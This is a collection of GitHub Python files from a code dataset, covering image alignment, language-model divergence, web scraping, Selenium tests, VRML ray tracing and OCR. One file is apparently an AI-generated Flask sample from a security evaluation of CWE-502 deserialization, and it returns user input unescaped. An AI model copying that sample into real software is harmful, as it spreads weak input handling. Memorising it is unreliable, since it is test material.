else:\n seg_im = (im>frequency[np.where(indices == 0)[0][0]])*im\n \n return seg_im, hist[1][np.argmax(hist[0])]\n\n\ndef get_aligned_img(image, index_0, index_1, max_freq_intensity):\n segmented_im, max_freq_intensity = segment_img(image, diff=10)\n (r, c) = np.where(segmented_im!=0)\n X = np.hstack((np.expand_dims(c, axis=1), np.expand_dims(r, axis=1)))\n X_mean = np.mean(X, axis = 0)\n X_centred = X - np.tile(X_mean, (np.shape(X)[0], 1))\n X_cov = np.cov(np.transpose(X_centred))\n\n value, vector = LA.eig(X_cov)\n max_variation = vector[:, np.argmax(value)]\n angle = np.arctan(max_variation[1]/max_variation[0])\n new = get_rotated_img(index_0, index_1, angle, image, max_freq_intensity)\n return new\n\n\nnum_files = 10\nnum_imgs = 600\n\nroot = '/mnt/data/Soumee/gahlmann_imgs/'\n\nfor file in range(num_files):\n print(file)\n for num_im in range(num_imgs):\n image = plt.imread(root + f'renamed_imgs/d{file+1}img/img{num_im + 1}.png')\n index_0, index_1 = get_centroid(image)\n segmented_im, max_freq_intensity = segment_img(image, file+1)\n new = get_aligned_img(image, index_0, index_1, max_freq_intensity)\n cv2.imwrite(root + f'rotated_imgs/d{file+1}img/img{num_im + 1}.png', new*255)","repo_name":"soumeeguha/DiffusionNet","sub_path":"compute_feature_matrices/rotate&align.py","file_name":"rotate&align.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"14830822503","text":"import numpy as np\nfrom scipy.stats import entropy\nimport tensorflow as tf\nfrom transformers import *\n# TFGPT2LMHeadModel, GPT2Tokenizer, TransfoXLTokenizer, TFTransfoXLLMHeadModel\nimport sys\nfrom scipy.special import softmax\nimport torch\nimport random\nimport string\nimport functools\nimport math\n\ndef get_distribution(model_info, model_name, context, joint_vocab):\n\n model, tokenizer = model_info[model_name]\n\n inputs = tokenizer(context,return_tensors='tf')\n outputs = model(inputs)\n \n ids = range(0,tokenizer.vocab_size)\n vocab = tokenizer.convert_ids_to_tokens(ids)\n \n final_vocab = set(vocab) & joint_vocab if len(joint_vocab) != 0 else set(vocab)\n\n id_list = tokenizer.convert_tokens_to_ids(sorted(final_vocab))\n\n outputs_array = np.asarray(outputs[0]).flatten()\n\n final_outputs = [outputs_array[i] for i in id_list] \n \n probabilities = softmax(final_outputs)\n\n distr_dict = dict(zip(final_vocab, probabilities))\n\n return distr_dict\n\n\ndef entropy(prob_dist, base=math.e):\n return -sum([p * math.log(p,base) for p in prob_dist if p != 0])\n\ndef jsd(prob_dists, base=math.e):\n weight = 1/len(prob_dists) #all same weight\n js_left = [0,0,0]\n js_right = 0 \n for pd in prob_dists:\n js_left[0] += pd[0]*weight\n js_left[1] += pd[1]*weight\n js_left[2] += pd[2]*weight\n js_right += weight*entropy(pd,base)\n return entropy(js_left)-js_right\n\ndef get_avg_distr(model_info, context, joint_vocab, top_p):\n\n distrs = {}\n for model_name in model_info.keys():\n model, tokenizer = model_info[model_name]\n\n next_word_distr = get_distribution(model_info, model_name, context, joint_vocab)\n distrs[model_name] = next_word_distr\n\n df = pd.DataFrame(distrs.values())\n avg_distr = dict(df.mean())\n\n avg_distr = {x: avg_distr[x] for x in joint_vocab}\n\n avg_distr_sorted_keys = [k for (k,v) in sorted(avg_distr.items(), key=lambda x: x[1], reverse=True)]\n avg_distr_sorted_vals = [v for (k,v) in sorted(avg_distr.items(), key=lambda x: x[1], reverse=True)]\n\n avg_distr_vals = np.cumsum(np.array(avg_distr_sorted_vals))\n\n avg_distr_summed = zip(avg_distr_sorted_keys, avg_distr_vals)\n\n avg_distr = {k: avg_distr[k] for (k, v) in avg_distr_summed if v <= top_p}\n\n prob_list = [v for k, v in sorted(avg_distr.items())]\n word_list = [k for k, v in sorted(avg_distr.items())]\n\n return prob_list, word_list\n\ndef auto_regressive(model_info, curr_context, num_return_seqs, current_len, max_len, total_js, joint_vocab, top_k):\n\n if current_len == max_len:\n return total_js / len(curr_context.split(\" \"))\n\n distrs = {}\n highest = {}\n for model_name in ['GPT2','TransformerXL']:\n model, tokenizer = model_info[model_name]\n next_word_distr = get_distribution(model_info, model_name, curr_context, joint_vocab)\n distrs[model_name] = next_word_distr\n\n A = distrs['GPT2']\n B = distrs['TransformerXL']\n # average the two distributions\n avg_distr = {x: (A.get(x, 0) + B.get(x, 0))/2 for x in set(A).intersection(B)}\n \n avg_distr = {k: v for (k,v) in avg_distr.items() if v >= top_k}\n\n total = sum(avg_distr.values())\n\n avg_distr = {k: v/total for (k,v) in avg_distr.items()}\n \n prob_list = [v for k, v in sorted(avg_distr.items())]\n word_list = [k for k, v in sorted(avg_distr.items())]\n\n js_dict = {}\n for i in range(0,5):\n n = list(np.random.multinomial(1,prob_list))\n id = n.index(1)\n new_word = word_list[id]\n print(\"NEW WORD\", new_word)\n print(\"CURR PRE-NEW CONTEXT\", curr_context)\n new_context = curr_context + \" \" + new_word\n print(\"NEW CONTEXT\", new_context)\n distrs = {}\n for model_name in model_info.keys():\n model, tokenizer = model_info[model_name]\n\n next_word_distr = get_distribution(model_info, model_name, context, joint_vocab)\n distrs[model_name] = next_word_distr\n\n js_result = jsd(distrs.values())\n js_dict[new_word] = js_result\n\n\n highest_js_word = sorted(js_dict.items(), key=lambda x: x[1], reverse=True)[0][0]\n print(\"highest JS word\", highest_js_word)\n curr_context = curr_context + \" \" + highest_js_word\n\n distrs = {}\n for model_name in model_info.keys():\n model, tokenizer = model_info[model_name]\n\n next_word_distr = get_distribution(model_info, model_name, context, joint_vocab)\n distrs[model_name] = next_word_distr\n\n total_js += jsd(distrs.values())\n print(\"CURR CONTEXT\", curr_context, \"JS\", total_js)\n # then autoregressive again on this new current context\n return auto_regressive(model_info, curr_context, num_return_seqs, current_len + 1, max_len , total_js, joint_vocab, top_k)\n\n\ndef auto_regressive_top_p(model_info, curr_context, num_return_seqs, current_len, max_len, total_js, joint_vocab, top_p):\n\n if current_len == max_len:\n return total_js / len(curr_context.split(\" \"))\n\n highest = {}\n \n prob_list, word_list = get_avg_distr(model_info, curr_context, joint_vocab, top_p)\n\n js_dict = {}\n for i in range(0,5):\n n = list(np.random.multinomial(1,prob_list))\n id = n.index(1)\n new_word = word_list[id]\n print(\"NEW WORD\", new_word)\n print(\"CURR PRE-NEW CONTEXT\", curr_context)\n new_context = curr_context + \" \" + new_word\n print(\"NEW CONTEXT\", new_context)\n\n distrs = {}\n for model_name in model_info.keys():\n model, tokenizer = model_info[model_name]\n\n next_word_distr = get_distribution(model_info, model_name, context, joint_vocab)\n distrs[model_name] = next_word_distr\n\n js_result = jsd(distrs.values())\n js_dict[new_word] = js_result\n\n\n highest_js_word = sorted(js_dict.items(), key=lambda x: x[1], reverse=True)[0][0]\n print(\"highest JS word\", highest_js_word)\n curr_context = curr_context + \" \" + highest_js_word\n\n \n distrs = {}\n for model_name in model_info.keys():\n model, tokenizer = model_info[model_name]\n\n next_word_distr = get_distribution(model_info, model_name, context, joint_vocab)\n distrs[model_name] = next_word_distr\n\n total_js += jsd(distrs.values())\n print(\"CURR CONTEXT\", curr_context, \"JS\", total_js)\n # then autoregressive again on this new current context\n return auto_regressive_top_p(model_info, curr_context, num_return_seqs, current_len + 1, max_len , total_js, joint_vocab, top_p)\n\nmodel_info = {\"GPT2\": (AutoModelWithLMHead.from_pretrained('gpt2-large'), AutoTokenizer.from_pretrained('gpt2-large')), \n \"TransformerXL\": (TFTransfoXLLMHeadModel.from_pretrained('transfo-xl-wt103'),TransfoXLTokenizer.from_pretrained('transfo-xl-wt103')),\n \"Roberta\": (RobertaModel.from_pretrained('roberta-base'),RobertaTokenizer.from_pretrained('roberta-base')),\n \"Albert\": (AlbertModel.from_pretrained('albert-base-v2'), AlbertTokenizer.from_pretrained('albert-base-v2')),\n \"XLM\": ( XLMModel.from_pretrained('xlm-mlm-xnli15-1024'), XLMTokenizer.from_pretrained('xlm-mlm-xnli15-1024'))}\n#\"T5\": (AutoModelWithLMHead.from_pretrained(\"t5-11b\",use_cdn = False), AutoTokenizer.from_pretrained(\"t5-11b\")),\n \ncurr_context = sys.argv[1:]\ncurr_context = ' '.join(curr_context)\nfor model_name in model_info.keys():\n model, tokenizer = model_info[model_name]\n\n next_word_distr = get_distribution(model_info, model_name, curr_context, joint_vocab)\n distrs[model_name] = next_word_distr\n\njoint_vocab = set(distrs[\"GPT2\"].keys()).intersection(*distrs.values().keys())\n\nauto_regressive_top_p(model_info, curr_context, 50, 1, 15, 0, joint_vocab, .7)\n \n","repo_name":"lrakocev/controversial_nlp_stimuli","sub_path":"auto_regressive.py","file_name":"auto_regressive.py","file_ext":"py","file_size_in_byte":7780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"88"} +{"seq_id":"21976441597","text":"\n#\n#1. It creates a Flask app.\n#2. It creates a route called /api.\n#3. It gets the payload parameter from the URL.\n#4. It loads the payload into a dictionary.\n#5. It returns the name value from the dictionary.\n#\n#Now, let's create a Dockerfile for this app.\n\n\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/api', methods=['GET'])\ndef get_name():\n payload = request.args.get('payload')\n data = json.loads(payload)\n return data['name']\n\nif __name__ == '__main__':\n app.run()","repo_name":"mutasDev/sec-eval-llms","sub_path":"Synthesised Programs/gpt_python_secure/removed/experiments_dow_cwe-502_codeql-eg-UnsafeDeserialization-a_scenario_copilot_0.py","file_name":"experiments_dow_cwe-502_codeql-eg-UnsafeDeserialization-a_scenario_copilot_0.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"88"} +{"seq_id":"27038733768","text":"\"\"\"\n目录内容和样式定义\n\"\"\"\nfrom reportlab.platypus.tableofcontents import (\n TableOfContents as BaseTableOfContents,\n)\n\nfrom report.core.style.toc import get_toc_style\n\n\nclass TableOfContents(BaseTableOfContents):\n def __init__(self, font_name, **kwargs):\n super().__init__(**kwargs)\n self.levelStyles = get_toc_style(font_name)\n","repo_name":"hellowac/reportlab-doc-zh","sub_path":"user_guide_cn/report/core/toc.py","file_name":"toc.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"88"} +{"seq_id":"26145941600","text":"import sys\nimport os\n#import numpy as np\nimport glob\nimport argparse\nimport requests\nimport time\nfrom enum import Enum\nimport io\nimport json\nimport random\nfrom random import randint\nimport shutil\nfrom datetime import date,datetime\n\nfrom PIL import Image\nimport requests\nfrom joblib import Parallel, delayed\n\n\nclass episodefetcher:\n episodelist=[]\n\n\n def geturl(self,url):\n #maxreq = 4\n #cntreq = 0\n resp = requests.get(url)\n if (resp.status_code !=200):\n print(\"something went wrong with url: \"+ url + \" returned status code \" + str(resp.status_code))\n\n return resp\n\n\n def __init__(self, ):\n self.episodelist=[]\n\n\n def getcurrentepisodeinfo(self):\n print(\"bla\")\n def isseries(self,anepisodeidofsomething):\n programinforeq = \"https://psapi.nrk.no/playback/metadata/program/\" + anepisodeidofsomething\n resp = self.geturl(programinforeq)\n resultingjson = resp.json()\n if \"series\" not in resultingjson[\"_links\"]:\n return False\n else:\n return True\n\n def getseries(self,anepisodeidofsomething):\n programinforeq=\"https://psapi.nrk.no/playback/metadata/program/\"+anepisodeidofsomething\n resp=self.geturl(programinforeq)\n resultingjson=resp.json()\n #print(resp.json())\n #print(resultingjson[\"_links\"][\"series\"][\"href\"])\n if \"series\" not in resultingjson[\"_links\"]:\n return resultingjson[\"_links\"][\"self\"][\"href\"].split(\"/\")[-1]\n else:\n return resultingjson[\"_links\"][\"series\"][\"href\"].split(\"/\")[-1]\n\n def getmetadataforseries(self,serie):\n programinforeq = \"https://psapi.nrk.no/series/\" + serie\n resp = self.geturl(programinforeq)\n resultingjson = resp.json()\n \n resultlist=[]\n for ind,i in enumerate(resultingjson[\"seasons\"]):\n resultlist.append(resultingjson[\"seasons\"][ind][\"name\"])\n return resultlist\n\n def getmedium(self,serie):\n programinforeq = \"https://psapi.nrk.no/series/\" + serie\n resp = self.geturl(programinforeq)\n resultingjson = resp.json()\n \n href = resultingjson[\"_links\"][\"share\"][\"href\"]\n if \"radio.nrk.no\" in href:\n medium = \"radio\"\n elif \"tv.nrk.no\" in href:\n medium = \"tv\"\n else:\n medium = \"undefined\"\n\n return medium\n \n def getmediumprogram(self,progid):\n #Function is needed only if we do not have the series. Hack to get the medium\n purl = \"https://psapi.nrk.no/playback/metadata/program/\" + progid\n resp = self.geturl(purl)\n resultingjson = resp.json()\n\n href = resultingjson[\"_links\"][\"progress\"][\"href\"]\n if \"/tv/\" in href:\n medium = \"tv\"\n elif \"/radio/\" in href:\n medium = \"radio\"\n else:\n medium = \"undefined\"\n\n return medium\n\n\n def getserieimage(self,serie):\n programinforeq = \"https://psapi.nrk.no/series/\" + serie\n resp = self.geturl(programinforeq)\n resultingjson = resp.json()\n serieimage = resultingjson[\"image\"][\"webImages\"][0][\"imageUrl\"]\n \n return serieimage\n\n def getprograms(self,medium,title,seasonsnr):\n programinforeq = \"https://psapi.nrk.no/\"+str(medium)+\"/catalog/series/\"+ str(title) + \"/seasons/\" + str(seasonsnr)\n resp = self.geturl(programinforeq)\n resultingjson =[]\n #print(medium + \" \"+ title + \" \" + seasonsnr)\n # print(resp.json())\n if resp.status_code != 200:\n return []\n\n if \"episodes\" in resp.json()[\"_embedded\"]:\n resultingjson = resp.json()[\"_embedded\"][\"episodes\"]\n \n else:\n resultingjson = resp.json()[\"_embedded\"][\"instalments\"]\n \n resultlist=[]\n\n if not isinstance(resultingjson, list):\n for ind,i in enumerate(resultingjson[\"_embedded\"][\"episodes\"]):\n id=resultingjson[\"_embedded\"][\"episodes\"][ind][\"_links\"][\"self\"][\"href\"].split(\"/\")[-1]\n resultlist.append(id) \n else:\n for ind,i in enumerate(resultingjson):\n id=resultingjson[ind][\"_links\"][\"self\"][\"href\"].split(\"/\")[-1]\n resultlist.append(id)\n \n\n return resultlist\n\n def episodebuilder(self,inputids):\n self.episodelist=[]\n inputlist=inputids.split(\",\")\n for programidentifier in inputlist:\n if self.isseries(programidentifier)== False:\n self.episodelist.append(programidentifier)\n else:\n currentserie = self.getseries(programidentifier)\n theseasons = self.getmetadataforseries(currentserie)\n\n #Figure out if this is radio or tv\n medium = self.getmedium(currentserie)\n\n for season in theseasons:\n programlist = self.getprograms(medium,currentserie, season)\n for program in programlist:\n self.episodelist.append(program)\n #print(\"serie\" + currentserie + \" sesong: \" + str(i) + \" id: \" + str(r))\n\n def episodegenerator(self):\n for episode in self.episodelist:\n yield episode\n\n def getepisodemetadata(self,episode):\n data = {}\n programinforeq = \"https://psapi.nrk.no/playback/metadata/program/\" + episode\n resp = self.geturl(programinforeq)\n resultingjsonprogram = resp.json()\n\n currentserie=self.getseries(episode)\n seriesinforeq=\"\"\n\n data[\"program_id\"]=episode\n return data\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--inputids', help=\"list of id's\")\n\n args = parser.parse_args()\n ef=episodefetcher()\n inputlist=args.inputids\n ef.episodebuilder(inputlist)\n for i in ef.episodegenerator():\n print(i)\n\n\n\n\n\n\n","repo_name":"NbAiLab/nostram","sub_path":"extractor/fetch_episodes.py","file_name":"fetch_episodes.py","file_ext":"py","file_size_in_byte":5924,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"88"} +{"seq_id":"18082268412","text":"a=int(input())\nfor i in range(a):\n n=int(input())\n k=n\n s=0\n while(n!=0):\n r=n%10\n s=s*10+r\n n=n//10\n if(k==s):\n print(\"True\")\n else:\n print(\"False\")","repo_name":"YASASWINIKOTI/codemind-python","sub_path":"Palindrome_Number.py","file_name":"Palindrome_Number.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"71990590368","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport time\nfrom time import sleep\n\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://rahulshettyacademy.com/AutomationPractice/\")\ndriver.maximize_window()\ncheckboxes = driver.find_elements(By.XPATH, \"//input[@type='checkbox']\")\nfor i in checkboxes:\n if i.get_attribute(\"value\") == \"option2\":\n i.click()\n i.is_selected()\n break\ntime.sleep(2)\n\nradios = driver.find_elements(By.XPATH, \"//input[@type='radio']\")\nfor radio in radios:\n if radio.get_attribute(\"value\") == \"radio1\":\n radio.click()\n assert radio.is_selected()\n break\ntime.sleep(2)\n\nassert driver.find_element(By.ID, \"displayed-text\").is_displayed()\n\ndriver.find_element(By.ID, \"hide-textbox\").click()\ntime.sleep(2)\nassert not driver.find_element(By.ID, \"displayed-text\").is_displayed()\nname = \"cici\"\ndriver.find_element(By.XPATH, \"//input[@id='name']\").send_keys(name)\ndriver.find_element(By.ID, \"alertbtn\").click()\n\nalert = driver.switch_to.alert\nprint(alert.text)\nassert name in alert.text\n#click on ok\nalert.accept()\n#click on cancel\n#alert.dismiss()\n","repo_name":"niwei822/Python-Selenium-Practice","sub_path":"demo3.py","file_name":"demo3.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"32538966012","text":"#!/bin/bash\n'''\nCreated on Oct 8, 2018\n\n@author: grant\n'''\nfrom tkinter import *\nimport tkinter.simpledialog as db\nimport tkinter.messagebox as mb\nimport numpy as np\nfrom cv2.cv2 import subtract, norm\n\n\ndef convertVertex(floatArray):\n l = len(floatArray)\n stop = 0\n index = 2\n toReturn = []\n while (stop != 1):\n tempArray = [floatArray[index],floatArray[index + 1],floatArray[index + 2]]\n tempArray = np.array(tempArray)\n toReturn.append(tempArray)\n index += 3\n if (index >= l):\n stop = 1\n \n return toReturn\n \ndef averageVectors(vectorArray):\n l = len(vectorArray)\n toReturn = vectorArray[0]\n for i in range(l - 1):\n toReturn = np.add(toReturn, vectorArray[i + 1])\n \n toReturn /= l\n toReturn /= np.linalg.norm(toReturn)\n return toReturn\n \ndef calculateNormal(vertex2DArray):\n dim = len(vertex2DArray)\n toReturn = [[0 for _ in range(dim)] for _ in range (dim)]\n \n for i in range(dim):\n for j in range(dim):\n \n # Corner cases\n if (i == 0 and j == 0):\n c0 = vertex2DArray[i][j]\n cw = vertex2DArray[i + 1][j]\n cd = vertex2DArray[i][j + 1]\n \n vw = np.subtract(cw, c0)\n vd = np.subtract(cd, c0)\n norm = np.cross(vd,vw)\n norm = averageVectors([norm])\n toReturn[i][j] = norm\n \n elif(i == 0 and j == dim - 1):\n c0 = vertex2DArray[i][j]\n cw = vertex2DArray[i + 1][j]\n ca = vertex2DArray[i][j - 1]\n \n vw = np.subtract(cw, c0)\n va = np.subtract(ca, c0)\n norm = np.cross(vw,va)\n norm = averageVectors([norm])\n toReturn[i][j] = norm\n \n elif(i == dim - 1 and j == 0):\n c0 = vertex2DArray[i][j]\n cs = vertex2DArray[i - 1][j]\n cd = vertex2DArray[i][j + 1]\n \n vs = np.subtract(cs, c0)\n vd = np.subtract(cd, c0)\n norm = np.cross(vs,vd)\n norm = averageVectors([norm])\n toReturn[i][j] = norm\n \n elif(i == dim - 1 and j == dim - 1):\n c0 = vertex2DArray[i][j]\n cs = vertex2DArray[i - 1][j]\n ca = vertex2DArray[i][j - 1]\n \n vs = np.subtract(cs, c0)\n va = np.subtract(ca, c0)\n norm = np.cross(va,vs)\n norm = averageVectors([norm])\n toReturn[i][j] = norm\n \n elif(i == 0):\n c0 = vertex2DArray[i][j]\n ca = vertex2DArray[i][j - 1]\n cd = vertex2DArray[i][j + 1]\n cw = vertex2DArray[i + 1][j]\n \n va = np.subtract(ca, c0)\n vw = np.subtract(cw, c0)\n vd = np.subtract(cd, c0)\n \n n1 = np.cross(vw,va)\n n2 = np.cross(vd,vw)\n norm = averageVectors([n1,n2])\n toReturn[i][j] = norm\n \n elif(i == dim - 1):\n c0 = vertex2DArray[i][j]\n ca = vertex2DArray[i][j - 1]\n cd = vertex2DArray[i][j + 1]\n cs = vertex2DArray[i - 1][j]\n \n va = np.subtract(ca, c0)\n vs = np.subtract(cs, c0)\n vd = np.subtract(cd, c0)\n \n n1 = np.cross(va,vs)\n n2 = np.cross(vs,vd)\n norm = averageVectors([n1,n2])\n toReturn[i][j] = norm\n \n elif(j % dim == 0):\n c0 = vertex2DArray[i][j]\n cw = vertex2DArray[i + 1][j]\n cs = vertex2DArray[i - 1][j]\n cd = vertex2DArray[i][j + 1]\n \n vw = np.subtract(cw, c0)\n vs = np.subtract(cs, c0)\n vd = np.subtract(cd, c0)\n \n n1 = np.cross(vs,vd)\n n2 = np.cross(vd,vw)\n norm = averageVectors([n1,n2])\n toReturn[i][j] = norm\n \n elif((j + 1) % dim == 0):\n c0 = vertex2DArray[i][j]\n cw = vertex2DArray[i + 1][j]\n cs = vertex2DArray[i - 1][j]\n ca = vertex2DArray[i][j - 1]\n \n vw = np.subtract(cw, c0)\n vs = np.subtract(cs, c0)\n va = np.subtract(ca, c0)\n \n n1 = np.cross(vw,va)\n n2 = np.cross(va,vs)\n norm = averageVectors([n1,n2])\n toReturn[i][j] = norm\n \n else:\n c0 = vertex2DArray[i][j]\n cw = vertex2DArray[i + 1][j]\n ca = vertex2DArray[i][j - 1]\n cs = vertex2DArray[i - 1][j]\n cd = vertex2DArray[i][j + 1]\n \n vw = np.subtract(cw, c0)\n va = np.subtract(ca, c0)\n vs = np.subtract(cs, c0)\n vd = np.subtract(cd, c0)\n \n n1 = np.cross(vw, va)\n n2 = np.cross(va, vs)\n n3 = np.cross(vs, vd)\n n4 = np.cross(vd, vw) \n norm = averageVectors([n1,n2,n3,n4])\n toReturn[i][j] = norm\n return toReturn\n \ndef calculateIncidentArray(viewPoint, vertices):\n dim = len(vertices)\n toReturn = [[0 for _ in range(dim)] for _ in range (dim)]\n \n for i in range(dim):\n for j in range(dim):\n currVertex = vertices[i][j]\n incidentRay = np.subtract(currVertex, viewPoint)\n toReturn[i][j] = incidentRay\n \n \n return toReturn\n\ndef calculateReflection(incidentRays, normalDirections):\n \n dim = len(incidentRays)\n toReturn = [[0 for _ in range(dim)] for _ in range (dim)]\n \n for i in range(dim):\n for j in range(dim):\n projection = np.dot(incidentRays[i][j], normalDirections[i][j])\n projection = np.multiply(normalDirections[i][j], projection * 2)\n #reflection = np.add(incidentRays[i][j], projection)\n reflection = np.subtract(incidentRays[i][j], projection)\n toReturn[i][j] = reflection\n \n return toReturn\n\ndef calculateIntersection(p01, p02, la, p0, lab):\n toReturn = []\n \n nlab = np.multiply(-1, lab)\n temp = np.cross(p02, nlab )\n temp2 = np.subtract(la, p0)\n num = np.dot(temp,temp2)\n temp = np.cross(p01, p02)\n denom = np.dot(nlab, temp)\n toReturn.append(num/denom)\n \n temp1 = np.cross(nlab, p01)\n temp2 = np.subtract(la, p0)\n num = np.dot(temp1, temp2)\n temp = np.cross(p01, p02)\n denom = np.dot(nlab, temp)\n toReturn.append(num / denom)\n \n \n return toReturn\n\ndef convertTo2DArray(dataPoints, dim):\n toReturn = [[0 for _ in range(dim)] for _ in range (dim)]\n direction = 0 # 0 means x increase first\n \n c0 = dataPoints[0]\n c1 = dataPoints[1]\n \n \n c01 = np.subtract(c1, c0)\n \n \n if (c01.item(1) <= 0.0001):\n direction = 0\n else:\n direction = 1\n counter = 0\n \n if (direction == 0):\n for i in range(dim):\n for j in range(dim):\n toReturn[i][j] =dataPoints[counter]\n counter += 1\n \n elif(direction == 1):\n for i in range(dim):\n for j in range(dim):\n toReturn[j][i] = dataPoints[counter]\n counter += 1\n \n return toReturn\n\ndef calculateColor(intersection, width, space):\n length = intersection[0]\n combined = width + space\n rem = length % combined\n \n if (rem < width):\n return 0\n elif (rem >= width):\n return 1\n \ndef generatePointsString(vertex2DArray):\n toReturn = \"point[\"\n dim = len(vertex2DArray)\n \n for i in range(dim):\n for j in range(dim):\n currString = np.array2string(vertex2DArray[i][j], formatter={'float_kind':lambda x: \"%.5f\" % x}) \n currString = currString[1:-1]\n currString += \", \"\n toReturn += currString\n \n toReturn = toReturn[:-2]\n toReturn += \" ]\"\n \n return toReturn\n \ndef generateCoordIndex(size):\n toReturn = \"coordIndex[ \"\n for i in range (size - 1):\n for j in range (size - 1):\n current = \"\"\n yCord = i * size\n current += str(yCord + j) + \", \" + str(yCord + j + 1) + \", \"\n nextYcord = (i + 1) * size\n current += str(nextYcord + j + 1) + \", \" + str(nextYcord + j) + \", -1, \"\n toReturn += current\n \n toReturn = toReturn[:-2]\n toReturn += \"]\"\n return toReturn\n \ndef generateColorIndex(colorInfo, size):\n toReturn = \"colorIndex[ \"\n \n for i in range(size - 1):\n for j in range(size - 1):\n current = str(colorInfo[i][j]) + \", \" + str(colorInfo[i][j + 1]) + \", \"\n current += str(colorInfo[i + 1][j + 1]) + \", \" + str(colorInfo[i + 1][j]) + \", \" + \"-1, \"\n toReturn += current\n \n toReturn = toReturn[:-2]\n toReturn += \" ]\"\n return toReturn\n\nif __name__ == '__main__':\n pass\n\n\n \nroot = Tk()\nw = Label(root, text = \"Computer Aided Design HW 6\")\nw.pack()\nmb.showinfo(\"Enter Instructions\", \"Please enter numbers, \\\nwhen multiple numbers needed, separate with comma\")\nfileName = db.askstring(\"File Name\", \"File Name\")\nviewPoint = db.askstring(\"View Point\", \"view point\")\npatternPlane = db.askstring(\"Zebra Plane\",\"A Zebra Pattern Plane, in order of p0 a and b\")\notherZebra = db.askstring(\"Zebra Plane\", \"line thickness and line spacing\")\n\n\nfileData = open(\"../\" + fileName).read().split()\nfileData = list(map(float,fileData))\nlength = fileData[0]\nwidth = fileData[1]\nvertexArray = convertVertex(fileData)\nvertex2DArray = convertTo2DArray(vertexArray, int(width))\nnormal2DArray = calculateNormal(vertex2DArray)\n\n\n\nviewPoint = list(map(float, viewPoint.split(\",\")))\nviewPoint = np.array(viewPoint)\nincidentRay2DArray = calculateIncidentArray(viewPoint, vertex2DArray)\nreflectRay2DArray = calculateReflection(incidentRay2DArray, normal2DArray)\n#print(viewPointArray)\npatternPlane = list(map(float, patternPlane.split(\",\")))\np0 = np.array(patternPlane[:3])\np02 = np.array(patternPlane[3:6])\np01 = np.array(patternPlane[6:9])\n\n\n\n#print(p0)\n#print(a)\n#print(b)\notherZebra = list(map(float, otherZebra.split(\",\")))\nthickness = otherZebra[0]\nspacing = otherZebra[1]\ndim = int(width)\ncolorData = [[0 for _ in range(dim)] for _ in range (dim)]\n# calculate color\nfor i in range(int(width)):\n for j in range(int(width)):\n la = vertex2DArray[i][j]\n lab = reflectRay2DArray[i][j]\n intersect = calculateIntersection(p01, p02, la, p0, lab)\n currColor = calculateColor(intersect, thickness, spacing)\n colorData[i][j] = currColor\n \n \npointsString = generatePointsString(vertex2DArray)\ncoordIndexString = generateCoordIndex(dim)\ncolorIndexArray = generateColorIndex(colorData, dim)\nfilename = fileName[:-3] + \"wrl\"\nf = open(filename, \"w+\")\ntoPutInFile = \"#VRML V2.0 utf8\\n#Colored IndexedFaceSet Example \\n#by Qiaojie Zheng \\n\"\ntoPutInFile += \"Shape{ \\n\"\ntoPutInFile += \" geometry IndexedFaceSet{ \\n\"\ntoPutInFile += \" coord Coordinate{ \\n\"\ntoPutInFile += \" \" + pointsString + \"\\n\"\ntoPutInFile += \" }\\n\"\ntoPutInFile += \" \" + coordIndexString + \"\\n\"\ntoPutInFile += \" color Color{\\n\"\ntoPutInFile += \" color[0 0 0, 1 1 1] \\n\"\ntoPutInFile += \" }\\n\"\ntoPutInFile += \" \" + colorIndexArray + \"\\n\"\ntoPutInFile += \" solid FALSE\"\ntoPutInFile += \" }\\n }\"\nf.write(toPutInFile)\nf.close()\n","repo_name":"GrantZheng86/CMU-24-681-CAD","sub_path":"A6_Ray_Trace/HW6/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":11972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"37390163118","text":"\"\"\"\nAuthor: Caleb Ehrisman\nCourse- CSC-514 Computer Vision\nAssignment - Semester Project - Text Transcription from images\n\"\"\"\n\nimport argparse\nimport os\nimport sys\nimport torch.utils.data\nfrom bounds import bound_region, get_letters, get_lines\nimport numpy as np\nimport cnn\nfrom torchinfo import summary\n\n\"\"\"\n parse gathers command line arguments.\n\n :return: a list of all parsed arguments\n\"\"\"\n\n\ndef parse():\n parser = argparse.ArgumentParser()\n parser.add_argument('--image', type=str, help='Path for image file to load')\n parser.add_argument('--train', type=str, help='If true will train CNN model')\n return parser.parse_args()\n\n\ndef main():\n args = check_args()\n\n get_lines(args.image)\n bound_region(\"lines\")\n get_letters(\"words\", )\n\n if args.train == 'True':\n dataset = cnn.CustomImageDataSet()\n batch_size = 4\n validation_split = .2\n shuffle_dataset = True\n random_seed = 42\n\n # Creating data indices for training and validation splits:\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n\n # Creating PT data samplers and loaders:\n train_sampler = torch.utils.data.sampler.SubsetRandomSampler(train_indices)\n valid_sampler = torch.utils.data.sampler.SubsetRandomSampler(val_indices)\n\n train_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size,\n sampler=train_sampler)\n validation_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size,\n sampler=valid_sampler)\n\n cnn_model = cnn.CNN()\n cnn.train(30, cnn_model, train_loader)\n\n cnn.test(cnn_model, validation_loader)\n torch.save(cnn_model.state_dict(), \"model/model.pth\")\n 